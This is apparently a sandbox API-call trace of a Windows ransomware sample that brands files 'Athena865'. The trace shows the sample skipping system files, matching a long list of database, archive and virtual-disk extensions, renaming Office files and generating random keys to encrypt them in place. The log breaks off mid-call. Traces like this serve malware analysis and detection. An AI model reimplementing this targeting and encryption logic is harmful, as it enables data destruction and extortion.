[0088.877] lstrcmpiW (lpString1="Wordcnvpxy.cnv", lpString2=".") returned 1 [0088.877] lstrcmpiW (lpString1="Wordcnvpxy.cnv", lpString2="..") returned 1 [0088.877] lstrcmpiW (lpString1="Wordcnvpxy.cnv", lpString2="windows") returned 1 [0088.877] lstrcmpiW (lpString1="Wordcnvpxy.cnv", lpString2="bootmgr") returned 1 [0088.877] lstrcmpiW (lpString1="Wordcnvpxy.cnv", lpString2="temp") returned 1 [0088.878] lstrcmpiW (lpString1="Wordcnvpxy.cnv", lpString2="pagefile.sys") returned 1 [0088.878] lstrcmpiW (lpString1="Wordcnvpxy.cnv", lpString2="boot") returned 1 [0088.878] lstrcmpiW (lpString1="Wordcnvpxy.cnv", lpString2="ids.txt") returned 1 [0088.878] lstrcmpiW (lpString1="Wordcnvpxy.cnv", lpString2="ntuser.dat") returned 1 [0088.878] lstrcmpiW (lpString1="Wordcnvpxy.cnv", lpString2="perflogs") returned 1 [0088.878] lstrcmpiW (lpString1="Wordcnvpxy.cnv", lpString2="MSBuild") returned 1 [0088.878] lstrlenW (lpString="Wordcnvpxy.cnv") returned 14 [0088.878] lstrcpyW (in: lpString1=0x241e89e, lpString2="Wordcnvpxy.cnv" | out: lpString1="Wordcnvpxy.cnv") returned="Wordcnvpxy.cnv" [0088.878] lstrlenW (lpString="Wordcnvpxy.cnv") returned 14 [0088.878] lstrlenW (lpString="Athena865") returned 9 [0088.878] lstrcmpiW (lpString1="nvpxy.cnv", lpString2="Athena865") returned 1 [0088.878] lstrlenW (lpString=".dll") returned 4 [0088.878] lstrcmpiW (lpString1="Wordcnvpxy.cnv", lpString2=".dll") returned 1 [0088.878] lstrlenW (lpString=".lnk") returned 4 [0088.878] lstrcmpiW (lpString1="Wordcnvpxy.cnv", lpString2=".lnk") returned 1 [0088.878] lstrlenW (lpString=".ini") returned 4 [0088.878] lstrcmpiW (lpString1="Wordcnvpxy.cnv", lpString2=".ini") returned 1 [0088.878] lstrlenW (lpString=".sys") returned 4 [0088.878] lstrcmpiW (lpString1="Wordcnvpxy.cnv", lpString2=".sys") returned 1 [0088.878] lstrlenW (lpString="Wordcnvpxy.cnv") returned 14 [0088.878] lstrlenW (lpString="bak") returned 3 [0088.878] lstrcmpiW (lpString1="cnv", lpString2="bak") returned 1 [0088.878] lstrlenW (lpString="ba_") returned 3 [0088.878] lstrcmpiW (lpString1="cnv", lpString2="ba_") returned 1 [0088.878] lstrlenW (lpString="dbb") returned 3 [0088.878] lstrcmpiW (lpString1="cnv", lpString2="dbb") returned -1 [0088.878] lstrlenW (lpString="vmdk") returned 4 [0088.878] lstrcmpiW (lpString1=".cnv", lpString2="vmdk") returned -1 [0088.879] lstrlenW (lpString="rar") returned 3 [0088.879] lstrcmpiW (lpString1="cnv", lpString2="rar") returned -1 [0088.879] lstrlenW (lpString="zip") returned 3 [0088.879] lstrcmpiW (lpString1="cnv", lpString2="zip") returned -1 [0088.879] lstrlenW (lpString="tgz") returned 3 [0088.879] lstrcmpiW (lpString1="cnv", lpString2="tgz") returned -1 [0088.879] lstrlenW (lpString="vbox") returned 4 [0088.879] lstrcmpiW (lpString1=".cnv", lpString2="vbox") returned -1 [0088.879] lstrlenW (lpString="vdi") returned 3 [0088.879] lstrcmpiW (lpString1="cnv", lpString2="vdi") returned -1 [0088.879] lstrlenW (lpString="vhd") returned 3 [0088.879] lstrcmpiW (lpString1="cnv", lpString2="vhd") returned -1 [0088.879] lstrlenW (lpString="vhdx") returned 4 [0088.879] lstrcmpiW (lpString1=".cnv", lpString2="vhdx") returned -1 [0088.879] lstrlenW (lpString="avhd") returned 4 [0088.879] lstrcmpiW (lpString1=".cnv", lpString2="avhd") returned -1 [0088.879] lstrlenW (lpString="db") returned 2 [0088.879] lstrcmpiW (lpString1="nv", lpString2="db") returned 1 [0088.879] lstrlenW (lpString="db2") returned 3 [0088.879] lstrcmpiW (lpString1="cnv", lpString2="db2") returned -1 [0088.879] lstrlenW (lpString="db3") returned 3 [0088.879] lstrcmpiW (lpString1="cnv", lpString2="db3") returned -1 [0088.879] lstrlenW (lpString="dbf") returned 3 [0088.879] lstrcmpiW (lpString1="cnv", lpString2="dbf") returned -1 [0088.879] lstrlenW (lpString="mdf") returned 3 [0088.879] lstrcmpiW (lpString1="cnv", lpString2="mdf") returned -1 [0088.879] lstrlenW (lpString="mdb") returned 3 [0088.879] lstrcmpiW (lpString1="cnv", lpString2="mdb") returned -1 [0088.879] lstrlenW (lpString="sql") returned 3 [0088.879] lstrcmpiW (lpString1="cnv", lpString2="sql") returned -1 [0088.880] lstrlenW (lpString="sqlite") returned 6 [0088.880] lstrcmpiW (lpString1="xy.cnv", lpString2="sqlite") returned 1 [0088.880] lstrlenW (lpString="sqlite3") returned 7 [0088.880] lstrcmpiW (lpString1="pxy.cnv", lpString2="sqlite3") returned -1 [0088.880] lstrlenW (lpString="sqlitedb") returned 8 [0088.880] lstrcmpiW (lpString1="vpxy.cnv", lpString2="sqlitedb") returned 1 [0088.880] lstrlenW (lpString="xml") returned 3 [0088.880] lstrcmpiW (lpString1="cnv", lpString2="xml") returned -1 [0088.880] lstrlenW (lpString="$er") returned 3 [0088.880] lstrcmpiW (lpString1="cnv", lpString2="$er") returned 1 [0088.880] lstrlenW (lpString="4dd") returned 3 [0088.880] lstrcmpiW (lpString1="cnv", lpString2="4dd") returned 1 [0088.880] lstrlenW (lpString="4dl") returned 3 [0088.880] lstrcmpiW (lpString1="cnv", lpString2="4dl") returned 1 [0088.880] lstrlenW (lpString="^^^") returned 3 [0088.880] lstrcmpiW (lpString1="cnv", lpString2="^^^") returned 1 [0088.880] lstrlenW (lpString="abs") returned 3 [0088.880] lstrcmpiW (lpString1="cnv", lpString2="abs") returned 1 [0088.880] lstrlenW (lpString="abx") returned 3 [0088.880] lstrcmpiW (lpString1="cnv", lpString2="abx") returned 1 [0088.880] lstrlenW (lpString="accdb") returned 5 [0088.880] lstrcmpiW (lpString1="y.cnv", lpString2="accdb") returned 1 [0088.880] lstrlenW (lpString="accdc") returned 5 [0088.880] lstrcmpiW (lpString1="y.cnv", lpString2="accdc") returned 1 [0088.880] lstrlenW (lpString="accde") returned 5 [0088.880] lstrcmpiW (lpString1="y.cnv", lpString2="accde") returned 1 [0088.880] lstrlenW (lpString="accdr") returned 5 [0088.880] lstrcmpiW (lpString1="y.cnv", lpString2="accdr") returned 1 [0088.880] lstrlenW (lpString="accdt") returned 5 [0088.880] lstrcmpiW (lpString1="y.cnv", lpString2="accdt") returned 1 [0088.881] lstrlenW (lpString="accdw") returned 5 [0088.881] lstrcmpiW (lpString1="y.cnv", lpString2="accdw") returned 1 [0088.881] lstrlenW (lpString="accft") returned 5 [0088.881] lstrcmpiW (lpString1="y.cnv", lpString2="accft") returned 1 [0088.881] lstrlenW (lpString="adb") returned 3 [0088.881] lstrcmpiW (lpString1="cnv", lpString2="adb") returned 1 [0088.881] lstrlenW (lpString="adb") returned 3 [0088.881] lstrcmpiW (lpString1="cnv", lpString2="adb") returned 1 [0088.881] lstrlenW (lpString="ade") returned 3 [0088.881] lstrcmpiW (lpString1="cnv", lpString2="ade") returned 1 [0088.881] lstrlenW (lpString="adf") returned 3 [0088.881] lstrcmpiW (lpString1="cnv", lpString2="adf") returned 1 [0088.881] lstrlenW (lpString="adn") returned 3 [0088.881] lstrcmpiW (lpString1="cnv", lpString2="adn") returned 1 [0088.881] lstrlenW (lpString="adp") returned 3 [0088.881] lstrcmpiW (lpString1="cnv", lpString2="adp") returned 1 [0088.881] lstrlenW (lpString="alf") returned 3 [0088.881] lstrcmpiW (lpString1="cnv", lpString2="alf") returned 1 [0088.881] lstrlenW (lpString="ask") returned 3 [0088.881] lstrcmpiW (lpString1="cnv", lpString2="ask") returned 1 [0088.881] lstrlenW (lpString="btr") returned 3 [0088.881] lstrcmpiW (lpString1="cnv", lpString2="btr") returned 1 [0088.881] lstrlenW (lpString="cat") returned 3 [0088.881] lstrcmpiW (lpString1="cnv", lpString2="cat") returned 1 [0088.881] lstrlenW (lpString="cdb") returned 3 [0088.881] lstrcmpiW (lpString1="cnv", lpString2="cdb") returned 1 [0088.881] lstrlenW (lpString="ckp") returned 3 [0088.881] lstrcmpiW (lpString1="cnv", lpString2="ckp") returned 1 [0088.881] lstrlenW (lpString="cma") returned 3 [0088.881] lstrcmpiW (lpString1="cnv", lpString2="cma") returned 1 [0088.882] lstrlenW (lpString="cpd") returned 3 [0088.882] lstrcmpiW (lpString1="cnv", lpString2="cpd") returned -1 [0088.882] lstrlenW (lpString="dacpac") returned 6 [0088.882] lstrcmpiW (lpString1="xy.cnv", lpString2="dacpac") returned 1 [0088.882] lstrlenW (lpString="dad") returned 3 [0088.882] lstrcmpiW (lpString1="cnv", lpString2="dad") returned -1 [0088.882] lstrlenW (lpString="dadiagrams") returned 10 [0088.882] lstrcmpiW (lpString1="cnvpxy.cnv", lpString2="dadiagrams") returned -1 [0088.882] lstrlenW (lpString="daschema") returned 8 [0088.882] lstrcmpiW (lpString1="vpxy.cnv", lpString2="daschema") returned 1 [0088.882] lstrlenW (lpString="db-journal") returned 10 [0088.882] lstrcmpiW (lpString1="cnvpxy.cnv", lpString2="db-journal") returned -1 [0088.882] lstrlenW (lpString="db-shm") returned 6 [0088.882] lstrcmpiW (lpString1="xy.cnv", lpString2="db-shm") returned 1 [0088.882] lstrlenW (lpString="db-wal") returned 6 [0088.882] lstrcmpiW (lpString1="xy.cnv", lpString2="db-wal") returned 1 [0088.882] lstrlenW (lpString="dbc") returned 3 [0088.882] lstrcmpiW (lpString1="cnv", lpString2="dbc") returned -1 [0088.882] lstrlenW (lpString="dbs") returned 3 [0088.882] lstrcmpiW (lpString1="cnv", lpString2="dbs") returned -1 [0088.882] lstrlenW (lpString="dbt") returned 3 [0088.882] lstrcmpiW (lpString1="cnv", lpString2="dbt") returned -1 [0088.882] lstrlenW (lpString="dbv") returned 3 [0088.882] lstrcmpiW (lpString1="cnv", lpString2="dbv") returned -1 [0088.882] lstrlenW (lpString="dbx") returned 3 [0088.882] lstrcmpiW (lpString1="cnv", lpString2="dbx") returned -1 [0088.882] lstrlenW (lpString="dcb") returned 3 [0088.882] lstrcmpiW (lpString1="cnv", lpString2="dcb") returned -1 [0088.882] lstrlenW (lpString="dct") returned 3 [0088.882] lstrcmpiW (lpString1="cnv", lpString2="dct") returned -1 [0088.883] lstrlenW (lpString="dcx") returned 3 [0088.883] lstrcmpiW (lpString1="cnv", lpString2="dcx") returned -1 [0088.883] lstrlenW (lpString="ddl") returned 3 [0088.883] lstrcmpiW (lpString1="cnv", lpString2="ddl") returned -1 [0088.883] lstrlenW (lpString="dlis") returned 4 [0088.883] lstrcmpiW (lpString1=".cnv", lpString2="dlis") returned -1 [0088.883] lstrlenW (lpString="dp1") returned 3 [0088.883] lstrcmpiW (lpString1="cnv", lpString2="dp1") returned -1 [0088.883] lstrlenW (lpString="dqy") returned 3 [0088.883] lstrcmpiW (lpString1="cnv", lpString2="dqy") returned -1 [0088.883] lstrlenW (lpString="dsk") returned 3 [0088.883] lstrcmpiW (lpString1="cnv", lpString2="dsk") returned -1 [0088.883] lstrlenW (lpString="dsn") returned 3 [0088.883] lstrcmpiW (lpString1="cnv", lpString2="dsn") returned -1 [0088.883] lstrlenW (lpString="dtsx") returned 4 [0088.883] lstrcmpiW (lpString1=".cnv", lpString2="dtsx") returned -1 [0088.883] lstrlenW (lpString="dxl") returned 3 [0088.883] lstrcmpiW (lpString1="cnv", lpString2="dxl") returned -1 [0088.883] lstrlenW (lpString="eco") returned 3 [0088.883] lstrcmpiW (lpString1="cnv", lpString2="eco") returned -1 [0088.883] lstrlenW (lpString="ecx") returned 3 [0088.883] lstrcmpiW (lpString1="cnv", lpString2="ecx") returned -1 [0088.883] lstrlenW (lpString="edb") returned 3 [0088.883] lstrcmpiW (lpString1="cnv", lpString2="edb") returned -1 [0088.883] lstrlenW (lpString="epim") returned 4 [0088.883] lstrcmpiW (lpString1=".cnv", lpString2="epim") returned -1 [0088.883] lstrlenW (lpString="fcd") returned 3 [0088.883] lstrcmpiW (lpString1="cnv", lpString2="fcd") returned -1 [0088.883] lstrlenW (lpString="fdb") returned 3 [0088.883] lstrcmpiW (lpString1="cnv", lpString2="fdb") returned -1 [0088.883] lstrlenW (lpString="fic") returned 3 [0088.884] lstrcmpiW (lpString1="cnv", lpString2="fic") returned -1 [0088.884] lstrlenW (lpString="flexolibrary") returned 12 [0088.884] lstrcmpiW (lpString1="rdcnvpxy.cnv", lpString2="flexolibrary") returned 1 [0088.884] lstrlenW (lpString="fm5") returned 3 [0088.884] lstrcmpiW (lpString1="cnv", lpString2="fm5") returned -1 [0088.884] lstrlenW (lpString="fmp") returned 3 [0088.884] lstrcmpiW (lpString1="cnv", lpString2="fmp") returned -1 [0088.884] lstrlenW (lpString="fmp12") returned 5 [0088.884] lstrcmpiW (lpString1="y.cnv", lpString2="fmp12") returned 1 [0088.884] lstrlenW (lpString="fmpsl") returned 5 [0088.884] lstrcmpiW (lpString1="y.cnv", lpString2="fmpsl") returned 1 [0088.884] lstrlenW (lpString="fol") returned 3 [0088.884] lstrcmpiW (lpString1="cnv", lpString2="fol") returned -1 [0088.884] lstrlenW (lpString="fp3") returned 3 [0088.884] lstrcmpiW (lpString1="cnv", lpString2="fp3") returned -1 [0088.884] lstrlenW (lpString="fp4") returned 3 [0088.884] lstrcmpiW (lpString1="cnv", lpString2="fp4") returned -1 [0088.884] lstrlenW (lpString="fp5") returned 3 [0088.884] lstrcmpiW (lpString1="cnv", lpString2="fp5") returned -1 [0088.884] lstrlenW (lpString="fp7") returned 3 [0088.884] lstrcmpiW (lpString1="cnv", lpString2="fp7") returned -1 [0088.884] lstrlenW (lpString="fpt") returned 3 [0088.884] lstrcmpiW (lpString1="cnv", lpString2="fpt") returned -1 [0088.884] lstrlenW (lpString="frm") returned 3 [0088.884] lstrcmpiW (lpString1="cnv", lpString2="frm") returned -1 [0088.884] lstrlenW (lpString="gdb") returned 3 [0088.884] lstrcmpiW (lpString1="cnv", lpString2="gdb") returned -1 [0088.884] lstrlenW (lpString="gdb") returned 3 [0088.884] lstrcmpiW (lpString1="cnv", lpString2="gdb") returned -1 [0088.884] lstrlenW (lpString="grdb") returned 4 [0088.885] lstrcmpiW (lpString1=".cnv", lpString2="grdb") returned -1 [0088.885] lstrlenW (lpString="gwi") returned 3 [0088.885] lstrcmpiW (lpString1="cnv", lpString2="gwi") returned -1 [0088.885] lstrlenW (lpString="hdb") returned 3 [0088.885] lstrcmpiW (lpString1="cnv", lpString2="hdb") returned -1 [0088.885] lstrlenW (lpString="his") returned 3 [0088.885] lstrcmpiW (lpString1="cnv", lpString2="his") returned -1 [0088.885] lstrlenW (lpString="ib") returned 2 [0088.885] lstrcmpiW (lpString1="nv", lpString2="ib") returned 1 [0088.885] lstrlenW (lpString="idb") returned 3 [0088.885] lstrcmpiW (lpString1="cnv", lpString2="idb") returned -1 [0088.885] lstrlenW (lpString="ihx") returned 3 [0088.885] lstrcmpiW (lpString1="cnv", lpString2="ihx") returned -1 [0088.885] lstrlenW (lpString="itdb") returned 4 [0088.885] lstrcmpiW (lpString1=".cnv", lpString2="itdb") returned -1 [0088.885] lstrlenW (lpString="itw") returned 3 [0088.885] lstrcmpiW (lpString1="cnv", lpString2="itw") returned -1 [0088.885] lstrlenW (lpString="jet") returned 3 [0088.885] lstrcmpiW (lpString1="cnv", lpString2="jet") returned -1 [0088.885] lstrlenW (lpString="jtx") returned 3 [0088.885] lstrcmpiW (lpString1="cnv", lpString2="jtx") returned -1 [0088.885] lstrlenW (lpString="kdb") returned 3 [0088.885] lstrcmpiW (lpString1="cnv", lpString2="kdb") returned -1 [0088.885] lstrlenW (lpString="kexi") returned 4 [0088.885] lstrcmpiW (lpString1=".cnv", lpString2="kexi") returned -1 [0088.885] lstrlenW (lpString="kexic") returned 5 [0088.885] lstrcmpiW (lpString1="y.cnv", lpString2="kexic") returned 1 [0088.885] lstrlenW (lpString="kexis") returned 5 [0088.885] lstrcmpiW (lpString1="y.cnv", lpString2="kexis") returned 1 [0088.885] lstrlenW (lpString="lgc") returned 3 [0088.886] lstrcmpiW (lpString1="cnv", lpString2="lgc") returned -1 [0088.886] lstrlenW (lpString="lwx") returned 3 [0088.886] lstrcmpiW (lpString1="cnv", lpString2="lwx") returned -1 [0088.886] lstrlenW (lpString="maf") returned 3 [0088.886] lstrcmpiW (lpString1="cnv", lpString2="maf") returned -1 [0088.886] lstrlenW (lpString="maq") returned 3 [0088.886] lstrcmpiW (lpString1="cnv", lpString2="maq") returned -1 [0088.886] lstrlenW (lpString="mar") returned 3 [0088.886] lstrcmpiW (lpString1="cnv", lpString2="mar") returned -1 [0088.886] lstrlenW (lpString="marshal") returned 7 [0088.886] lstrcmpiW (lpString1="pxy.cnv", lpString2="marshal") returned 1 [0088.886] lstrlenW (lpString="mas") returned 3 [0088.886] lstrcmpiW (lpString1="cnv", lpString2="mas") returned -1 [0088.886] lstrlenW (lpString="mav") returned 3 [0088.886] lstrcmpiW (lpString1="cnv", lpString2="mav") returned -1 [0088.886] lstrlenW (lpString="maw") returned 3 [0088.886] lstrcmpiW (lpString1="cnv", lpString2="maw") returned -1 [0088.886] lstrlenW (lpString="mdbhtml") returned 7 [0088.886] lstrcmpiW (lpString1="pxy.cnv", lpString2="mdbhtml") returned 1 [0088.886] lstrlenW (lpString="mdn") returned 3 [0088.886] lstrcmpiW (lpString1="cnv", lpString2="mdn") returned -1 [0088.886] lstrlenW (lpString="mdt") returned 3 [0088.886] lstrcmpiW (lpString1="cnv", lpString2="mdt") returned -1 [0088.886] lstrlenW (lpString="mfd") returned 3 [0088.886] lstrcmpiW (lpString1="cnv", lpString2="mfd") returned -1 [0088.886] lstrlenW (lpString="mpd") returned 3 [0088.886] lstrcmpiW (lpString1="cnv", lpString2="mpd") returned -1 [0088.886] lstrlenW (lpString="mrg") returned 3 [0088.886] lstrcmpiW (lpString1="cnv", lpString2="mrg") returned -1 [0088.886] lstrlenW (lpString="mud") returned 3 [0088.887] lstrcmpiW (lpString1="cnv", lpString2="mud") returned -1 [0088.887] lstrlenW (lpString="mwb") returned 3 [0088.887] lstrcmpiW (lpString1="cnv", lpString2="mwb") returned -1 [0088.887] lstrlenW (lpString="myd") returned 3 [0088.887] lstrcmpiW (lpString1="cnv", lpString2="myd") returned -1 [0088.887] lstrlenW (lpString="ndf") returned 3 [0088.887] lstrcmpiW (lpString1="cnv", lpString2="ndf") returned -1 [0088.887] lstrlenW (lpString="nnt") returned 3 [0088.887] lstrcmpiW (lpString1="cnv", lpString2="nnt") returned -1 [0088.887] lstrlenW (lpString="nrmlib") returned 6 [0088.887] lstrcmpiW (lpString1="xy.cnv", lpString2="nrmlib") returned 1 [0088.887] lstrlenW (lpString="ns2") returned 3 [0088.887] lstrcmpiW (lpString1="cnv", lpString2="ns2") returned -1 [0088.887] lstrlenW (lpString="ns3") returned 3 [0088.887] lstrcmpiW (lpString1="cnv", lpString2="ns3") returned -1 [0088.887] lstrlenW (lpString="ns4") returned 3 [0088.887] lstrcmpiW (lpString1="cnv", lpString2="ns4") returned -1 [0088.887] lstrlenW (lpString="nsf") returned 3 [0088.887] lstrcmpiW (lpString1="cnv", lpString2="nsf") returned -1 [0088.887] lstrlenW (lpString="nv") returned 2 [0088.887] lstrcmpiW (lpString1="nv", lpString2="nv") returned 0 [0088.887] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvpxy.cnv.Athena865") returned 67 [0088.887] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvpxy.cnv" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnvpxy.cnv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvpxy.cnv.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnvpxy.cnv.athena865"), dwFlags=0x1) returned 1 [0088.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvpxy.cnv.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnvpxy.cnv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0088.889] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30048) returned 1 [0088.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0088.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0088.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0088.889] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0088.890] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0088.890] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0088.890] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7860, lpName=0x0) returned 0x17c [0088.896] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7860) returned 0x100000 [0088.908] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0088.909] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0088.909] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0088.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0088.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0088.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0088.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0088.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0088.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0088.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0088.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0088.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0088.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0088.909] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0088.910] CloseHandle (hObject=0x17c) returned 1 [0088.910] CloseHandle (hObject=0x154) returned 1 [0088.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0088.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0088.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0088.910] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1653d000, ftCreationTime.dwHighDateTime=0x1cacd36, ftLastAccessTime.dwLowDateTime=0x5e60d530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1653d000, ftLastWriteTime.dwHighDateTime=0x1cacd36, nFileSizeHigh=0x0, nFileSizeLow=0x62f60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wordcnvr.dll", cAlternateFileName="")) returned 1 [0088.910] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0088.910] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0088.910] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2=".") returned 1 [0088.910] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="..") returned 1 [0088.910] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="windows") returned 1 [0088.910] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="bootmgr") returned 1 [0088.910] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="temp") returned 1 [0088.911] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="pagefile.sys") returned 1 [0088.911] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="boot") returned 1 [0088.911] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="ids.txt") returned 1 [0088.911] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="ntuser.dat") returned 1 [0088.911] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="perflogs") returned 1 [0088.911] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2="MSBuild") returned 1 [0088.911] lstrlenW (lpString="Wordcnvr.dll") returned 12 [0088.911] lstrcpyW (in: lpString1=0x241e89e, lpString2="Wordcnvr.dll" | out: lpString1="Wordcnvr.dll") returned="Wordcnvr.dll" [0088.911] lstrlenW (lpString="Wordcnvr.dll") returned 12 [0088.911] lstrlenW (lpString="Athena865") returned 9 [0088.911] lstrcmpiW (lpString1="dcnvr.dll", lpString2="Athena865") returned 1 [0088.911] lstrlenW (lpString=".dll") returned 4 [0088.911] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2=".dll") returned 1 [0088.911] lstrlenW (lpString=".lnk") returned 4 [0088.911] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2=".lnk") returned 1 [0088.911] lstrlenW (lpString=".ini") returned 4 [0088.911] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2=".ini") returned 1 [0088.911] lstrlenW (lpString=".sys") returned 4 [0088.911] lstrcmpiW (lpString1="Wordcnvr.dll", lpString2=".sys") returned 1 [0088.911] lstrlenW (lpString="Wordcnvr.dll") returned 12 [0088.911] lstrlenW (lpString="bak") returned 3 [0088.911] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0088.911] lstrlenW (lpString="ba_") returned 3 [0088.911] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0088.911] lstrlenW (lpString="dbb") returned 3 [0088.911] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0088.911] lstrlenW (lpString="vmdk") returned 4 [0088.911] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0088.911] lstrlenW (lpString="rar") returned 3 [0088.911] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0088.911] lstrlenW (lpString="zip") returned 3 [0088.911] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0088.912] lstrlenW (lpString="tgz") returned 3 [0088.912] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0088.912] lstrlenW (lpString="vbox") returned 4 [0088.912] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0088.912] lstrlenW (lpString="vdi") returned 3 [0088.912] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0088.912] lstrlenW (lpString="vhd") returned 3 [0088.912] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0088.912] lstrlenW (lpString="vhdx") returned 4 [0088.912] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0088.912] lstrlenW (lpString="avhd") returned 4 [0088.912] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0088.912] lstrlenW (lpString="db") returned 2 [0088.912] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0088.912] lstrlenW (lpString="db2") returned 3 [0088.912] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0088.912] lstrlenW (lpString="db3") returned 3 [0088.912] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0088.912] lstrlenW (lpString="dbf") returned 3 [0088.912] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0088.912] lstrlenW (lpString="mdf") returned 3 [0088.912] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0088.912] lstrlenW (lpString="mdb") returned 3 [0088.912] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0088.912] lstrlenW (lpString="sql") returned 3 [0088.912] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0088.912] lstrlenW (lpString="sqlite") returned 6 [0088.912] lstrcmpiW (lpString1="vr.dll", lpString2="sqlite") returned 1 [0088.912] lstrlenW (lpString="sqlite3") returned 7 [0088.912] lstrcmpiW (lpString1="nvr.dll", lpString2="sqlite3") returned -1 [0088.912] lstrlenW (lpString="sqlitedb") returned 8 [0088.912] lstrcmpiW (lpString1="cnvr.dll", lpString2="sqlitedb") returned -1 [0088.913] lstrlenW (lpString="xml") returned 3 [0088.913] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0088.913] lstrlenW 